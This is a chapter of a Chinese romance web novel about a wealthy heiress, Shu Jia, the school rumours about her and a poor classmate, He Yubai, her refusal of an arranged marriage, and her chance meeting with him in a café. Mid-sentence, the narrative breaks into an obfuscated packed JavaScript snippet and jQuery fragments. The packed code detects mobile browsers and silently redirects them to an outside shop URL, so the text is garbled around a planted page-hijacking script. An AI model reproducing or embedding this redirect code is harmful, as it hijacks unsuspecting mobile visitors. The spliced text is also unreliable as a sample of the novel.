[Fallen spring night……]
十七八岁的高中生学习压力过大,正需要点新鲜的八卦来调剂。
而舒嘉过于耀眼的身份,注定了她无论走到哪里都是万众瞩目的焦点。
很快,舒嘉出现在贺屿白自行车后座上这件事,就悄无声息地传遍了整个学校。
雨季的天灰沉压抑,暗流涌动。
父母双亡的清贫高材生喜欢上川港首富家的千金大小姐,是年少时懵懂的怦然心动,还是穷小子为了攀附高枝而妄想追求捷径,显然,旁观者们更乐意倾向于后者。
“……啧,我说贺屿白怎么对学校里其它女生都不理不睬的,合着人家是专钓大鱼啊。”
“平时装得那么清高,家里穷得要死还一副傲得谁都看不上的样儿,也就是他成绩好有老师护着,不然学校里看不惯他的可多了去了。”
男厕所里,水龙头哗哗作响,盖不住男生话里充满恶意的鄙夷。
“就是,也不照照镜子看看自己几斤几两,人家什么身份,他什么身份?喜欢人家大小姐?他也配。”
“怪不得舒嘉这几天都没来学校呢,估计是知道他那点龌龊心思,又不好直接拒绝,只能躲着了。”
“人可以穷但不能没有自知之明啊。贺屿白不是挺聪明的么?怎么还干这种自不量力的蠢事。要是舒嘉知道他家里穷成那鬼样子……”
吱呀,厕所隔间的老旧门板被推开,几个男生立刻下意识地闭了嘴。
贺屿白面无表情地走到他们身边,打开水龙头,反反复复地洗了很多遍手。
背后说人坏话被正主撞个正着,男生脸色有点讪讪的,犹豫着要不要开口说点什么,缓和一下僵硬的气氛。
“那个……我也是听别人瞎说的……”男生尴尬地给自己找了个台阶下,“你和舒嘉的事不是真的吧?肯定都是谣言……”
而没等他把话说完,贺屿白已经擦干手,走出了男厕所。
回到教室,旁边的座位仍然空着,舒嘉已经有一周没来上课了。
厕所里那几个男生讥讽的话仍然在耳边回荡。
这些天学校里的谣言接连不断,贺屿白把自己埋进堆积如山的试卷里,从始至终没有否认任何。
——无论是他的自不量力,还是喜欢。
他只是垂下眼,一遍遍地在脑海中回忆着,送舒嘉回家那晚,他应该足够小心,没有表现出任何会对她造成困扰的情绪。
*
舒嘉对学校里传得沸沸扬扬的谣言分毫不知,那晚贺屿白送她回家后,她还能快乐地喝下一杯陈晚玉准备的小甜水,结果第二天就毫无预兆地病倒了。
舒知行派来的私人医生顾不上晕车的不适,拎着药箱慌张地跑进舒嘉的房间,忙活半天终于松了口气,说只是普通的感冒,加上有些发烧,吃了药休息几天就能好了。
“……这里空气太潮湿,大小姐从川港过来,可能有点水土不服,生病也是正常的,不用太担心。”
即使私人医生这样说了,舒知行仍然放心不下,坚持要把舒嘉接回川港养病,家里有专门的厨师和女佣,能更好地照料她。
舒嘉坚决不肯,舒知行听着电话里宝贝女儿虚弱的咳嗽声,终于还是心软了。
他答应让舒嘉继续留在栖塘,条件是高考前舒嘉都要待在尹杭家里好好休养,至于学校的功课,他会从川港派一名经验丰富的家庭教师过来。
舒嘉也乐得在家躲清闲,反正高中的那点课业,对她来说根本用不着费多少心思。
潮湿的雨季终于过去,迎来了酷热燥闷的盛夏。
怕舒嘉无聊,尹茹特意安排专车,把舒嘉的爱犬送了过来,给舒嘉解闷。
是一只三岁的博美,是舒嘉在一次公益救助活动上领养的,雪白的一团,毛茸茸的很可爱。
高考完的那几天,正是夏天最热的时候。
舒嘉怕晒,窝在房间里吃着陈晚玉做的荔枝冰,但拗不过小狗缠在她脚边汪汪叫着要出去玩,舒嘉只好给自己全副武装,牵起狗链下了楼。
小狗在院子里撒欢,叼着舒嘉的Kerry玩具熊要和她玩追逐游戏。
舒知行的电话不合时宜地打来,舒嘉皱眉,一边安抚地摸着小狗躁动乱蹦的脑袋,一边接起来,“喂,爸爸。”
“高考结束了吧?打算什么时候回家,爸爸好给你安排接风宴。”舒知行嗓音温和沉稳,听起来的确很像一位体贴的丈夫,一个和蔼的父亲。
“还有,港大那边爸爸已经联系过了,看你对什么专业感兴趣,都是业内最知名的老师,多学点本事对你有好处。”
舒嘉一听他提起这事就烦,“我说过我不去港大。”
舒知行心平气和地和她讲道理:“你想去云湾读大学,爸爸知道。湾大虽然也不错,但无论是师资还是管理都和港大没法比。何况港大的校董和爸爸是老朋友了……”
舒嘉嘟囔:“我就是不想回川港,云湾市里离舅舅家也近,真有什么事也有舅舅在呢,你用不着担心。”
舒知行知道舒嘉还在因为那件事和他置气,一时沉默,许久后才无奈地叹了口气:“那你总要回家待一阵子吧?你妈妈,还有爷爷,都很想你。”
“我知道,我已经和舅妈说过了,后天就走。”
舒嘉还是拎得清轻重的,舒知行和尹茹那档子丑事毕竟和舒老爷子无关,老爷子为着这事在家里发了好大的火,还多次打电话过来劝舒嘉别理会她那对混账父母,在哪里自在就待在哪。
老爷子年纪大了,身体也大不如前,在去云湾之前,她想回家陪爷爷多待些日子。
舒嘉挂了电话,随手把手里的玩具熊又抛出去让小狗捡,抬头时看见贺屿白沿着小路走过来,肩膀上还背着书包。
她有些惊讶,随口问了句:“高考都结束了,你还要学习吗?”
贺屿白停下脚步,隔着一段不远不近的距离,舒嘉蹲在小院门口,头上戴着一顶帽檐宽到夸张的亚麻草帽,遮住大半阳光。
她仰起脸和他说话,那阳光便又倾泻在她白净的脸颊上,女孩被晒得微眯起眼,像一只懒洋洋的、矜贵的波斯猫。
贺屿白拘束地移开视线,解释道:“我找了份家教,给几个初中的学生补习。”
“这样啊。”舒嘉了然点头。
她的注意力很快被院子另一头的动静吸引,舒嘉及时扯住狗链,没让自己被叼回玩偶的热情小狗扑倒。
“来,小白,跟哥哥打招呼。”舒嘉握着它的爪子,对贺屿白做了个招手的手势。
她低着头和小狗说话,声线有意夹着,甜得不像话,却并不做作。
贺屿白的心因为她随口的一句“哥哥”忽然跳得很快,他局促而无措地站在那里,看着舒嘉佯装生气地训斥小狗:“小白,过来。”
“教过你的都忘啦?去跟哥哥握手,等下奖励你排骨吃。”
小白在舒嘉脚边徘徊,警惕地盯着贺屿白,汪汪叫着,却怎么都不肯上前。
舒嘉气笑,正要向贺屿白解释,小白平时很听话的,今天也不知道是怎么了,陈晚玉在屋里温柔催促:“嘉嘉,东西都收拾好了吗?后天就要走了,衣服还没收吧?要不要舅妈帮忙?”
舒嘉连忙扬声:“舅妈,我自己收就好。”
她抱起小白,弯起眼睛朝贺屿白做了个拜拜的手势,就小跑着进了屋。
贺屿白怔了怔,下意识往前走了一步,然而房门已经关上,只留一声沉闷的回响,将他不及问出口的话尽数堵回喉咙里。
贺屿白望着那道紧闭的门,夏日炙热的阳光烤得他呼吸发烫,心口也跟着发闷,发涩。
她……要离开这里了吗?
是因为那些难听的流言,所以她才没有再来学校吗?
她还会不会回来?
无数纷乱的念头闪过脑海,贺屿白不安地猜测着,试图去寻找正确的答案,又后知后觉地意识到,他所关心在乎的,都不在舒嘉的考虑范围之内。
——因为本就无关紧要,所以,才会连告别都不曾有。
*
回到川港,舒嘉没回舒宅,直接住进了舒老爷子的曼港山庄避暑,着实度过了一段无人打扰的惬意时光。
郑歆宜跟着父母去了海岛度假,临近开学才回川港,两人约在一家以前常去的私人港式茶餐厅见了面。
郑歆宜一见到舒嘉就哭丧着脸抱怨
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227600|197434||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,说起家里催着她联姻的事。
“嘉嘉,这哪是联姻啊,这是卖女儿啊!”郑歆宜抱着舒嘉的胳膊夸张地喊冤,“他们要我嫁给傅家那个比我大十岁的老东西诶!老就算了,腿还有残疾,听医生说这辈子是离不开轮椅了,我嫁过去不是守活寡吗!”
好姐妹哭得凄惨,舒嘉叹着气拿纸巾给她擦鼻涕,却也不知道该怎么安慰好。
她其实也有着类似的麻烦,只是目前的处境要比郑歆宜稍微好一点。
“令书正好要替他父亲去云湾谈一笔生意,到时候就让他送你去学校。你不许家里跟着,有令书在,爸爸也能放心些。”
“你和令书算是从小一起长大的,读书之后倒是生分了,也该抽空联络联络感情。”
这场父女间的僵持战终究还是以舒嘉获胜告终,舒知行最后还是答应了让舒嘉去读湾大,当然,也理所应当地摆出了他的条件。
舒嘉没和郑歆宜说这些,她自己的私事,她一向喜欢自己处理,不想受到别人想法的干涉。
舒知行在湾大附近的桦莱酒店给舒嘉安排了一间高档套房,位于整个酒店视野最优越的顶层,从透亮的落地窗望出去,能俯瞰整个云湾的楼群。
等随行的管家佣人把舒嘉的行李都收拾好,已经是中午了。
舒嘉本来想随便点一份酒店的午餐对付一下,谢令书却说:“云湾这边的口味和川港不太一样,听说湾大附近有很多当地特色的餐厅,要不要去尝一下?我请客。”
“请客就免了。”舒嘉放下才拿起的酒店电话,盯着谢令书看了一会儿,觉得有些事还是早点说清楚比较好,“这样吧,辛苦你大老远地送我一趟,我请你喝杯咖啡,顺便和你谈点事情。”
“好。”舒嘉难得主动,谢令书当然答应得爽快。
司机把车停在湾大北门口附近的停车场,舒嘉下了车,随便在地图上搜了一家装修风格还不错的咖啡厅,走进去要了两杯美式。
“嘉嘉想和我谈什么?”等咖啡的间隙,谢令书温柔地问。
舒嘉开门见山:“我知道我爸爸的意思。很抱歉,我暂时没有结婚的打算。”
谢令书对此似乎并不意外,他斟酌了一下用词,委婉道:“恕我冒昧,嘉嘉有这样的想法……是受令尊那件事的影响吗?”
当时舒嘉头也不回地从舒知行的办公室跑开,舒董急着去追女儿,惊动了不少人,那个衣衫不整的女秘书还没来得及把套裙穿上,听说一条黑丝还挂在舒董的脖子上。
这事在舒氏内部闹得沸沸扬扬,最后还是舒老爷子出手,好不容易才把舆论平息,但圈子里的人多多少少都知道一些。
谢令书绅士地微笑:“关于这一点,嘉嘉可以放心。我没有在外面沾花惹草的习惯,出轨更是不可能的事。”
“和他们没关系。”舒嘉皱眉,干脆把话说得更直白些,“结婚不在我未来几年的规划之内,会占用我很多精力。我不想在没有价值的事上浪费时间。”
谢令书点头表示理解,笑容仍旧温和,“嘉嘉,我们从小一起长大,你该知道,我不是着急的人。整个川港都知道我们两家联姻是早晚的事——多久我都可以等的,嘉嘉。”
舒嘉无语至极,觉得这人简直不可理喻,“你……”
一句“你是不是听不懂话”还没说出口,身旁的过道上忽然响起男人不耐烦的骂声。
“傻站着干什么?挡路了没看见?”
被骂的是个年轻男服务生,听见客人斥责,终于回过神来,慌乱地侧身让路,却还是没留神被那男人壮实的身体撞了下,腰窝狠狠磕在桌沿,手中咖啡随之泼洒了一大半,零星溅落在舒嘉手上。
舒嘉被烫得嘶了声,谢令书连忙抽出纸巾按在她手背上,不悦地看向那个冒失的服务生,“怎么做事的?”
“对、对不起……”
男生低着头,纤长的睫毛垂着,挡住了清冷的瞳孔。
他的声音很轻,却有些耳熟。
舒嘉下意识抬头看过去,男生穿着咖啡厅黑白的制服,身上还系着店里的围裙,皮肤好像晒黑了些,但舒嘉依然一眼就认出了他。
贺屿白……
他怎么会出现在云湾?